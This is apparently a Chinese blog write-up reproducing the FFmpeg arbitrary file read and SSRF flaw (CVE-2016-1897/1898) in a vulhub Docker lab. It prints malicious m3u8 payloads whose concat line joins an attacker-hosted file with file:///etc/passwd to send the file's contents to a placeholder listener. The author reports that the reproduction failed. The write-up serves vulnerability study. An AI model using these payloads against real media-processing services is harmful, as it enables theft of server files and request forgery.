ffmpeg 任意文件读取漏洞/SSRF漏洞 (CVE-2016-1897/CVE-2016-1898)

漏洞描述

影响范围

  • FFmpeg 2.8.x < 2.8.5
  • FFmpeg 2.7.x < 2.7.5
  • FFmpeg 2.6.x < 2.6.7
  • FFmpeg 2.5.x < 2.5.10

漏洞环境及利用

搭建docker环境

访问8080端口看到上传界面

由于vulhub并没有讲述该漏洞如何复现,我们需要进入环境查看源码

<?php
if(!empty($_FILES)) {
    $filename = escapeshellarg($_FILES['file']['tmp_name']);
    $newname = './' . uniqid() . '.mp4';
    shell_exec("ffmpeg -i $filename $newname");
}
?>

可以看到就是调用了ffmpeg这个工具来处理文件
这是一个恶意请求的m3u8文件:

#EXTM3U
 #EXT-X-MEDIA-SEQUENCE:0
 #EXTINF:10.0,
 http://your_ip:9999/test.txt
 #EXT-X-ENDLIST
 

文件格式如下:  

#EXTM3U 标签是 m3u8 的文件头,开头必须要这一行
#EXT-X-MEDIA-SEQUENCE 表示每一个media URI 在 PlayList中只有唯一的序号,相邻之间序号+1
#EXTINF:10.0, 表示该一段 TS 流文件的长度
#EXT-X-ENDLIST 这个相当于文件结束符

这些是 m3u8 的最基本的标签,而问题就出在 FFMpeg 去请求 TS 流文件(URL)时,FFMpeg 不会判断里面的流地址,直接请求。所以我们可以试想,用FFMpeg内自带的concat函数,将一个不包含文件结束符的文件与file协议读取的文件衔接起来,请求回攻击机,就能够达到读取任意文件的效果!

漏洞复现
首先,我们需要在 web 服务器上创建一个 back.txt,文件内容是 m3u8 的格式,其中不包含文件结束符。
其次,我们再创建一个恶意的 m3u8 文件,文件内容通过 concat 拼接本地文件/etc/passwd。
最后,我们上传这个恶意的 m3u8 文件。
back.txt:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://your_ip:9999/?

upload.m3u8:

#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://your_ip/back.txt|file:///etc/passwd
#EXT-X-ENDLIST

Tip: 以上的文件需要使用记事本编辑保存,选择默认 utf-8 格式。使用vim来编译可能会导致复现失败。

使用python来搭建一个简易的web,将back.txt部署到web上。

python2 -m SimpleHTTPServer 8888

python3 -m http.server 8888

上传恶意m3u8文件,并监听9999端口
复现失败了

 

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2023-12-06 22:28:04       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-06 22:28:04       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-06 22:28:04       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-06 22:28:04       20 阅读

热门阅读

  1. 一些常见的爬虫库

    2023-12-06 22:28:04       29 阅读
  2. 【kafka实践】11|消费位移提交

    2023-12-06 22:28:04       43 阅读
  3. PHP字符串面试题

    2023-12-06 22:28:04       33 阅读
  4. BOOST_VMD_ASSERT_IS_NUMBER宏的测试程序

    2023-12-06 22:28:04       31 阅读
  5. 学习MYSQL

    2023-12-06 22:28:04       35 阅读
  6. php 中生成订单号

    2023-12-06 22:28:04       43 阅读
  7. 基于蚁群算法的带载重约束车辆路径规划问题

    2023-12-06 22:28:04       38 阅读
  8. Python字符串格式化练习

    2023-12-06 22:28:04       37 阅读
  9. js的考试试题

    2023-12-06 22:28:04       33 阅读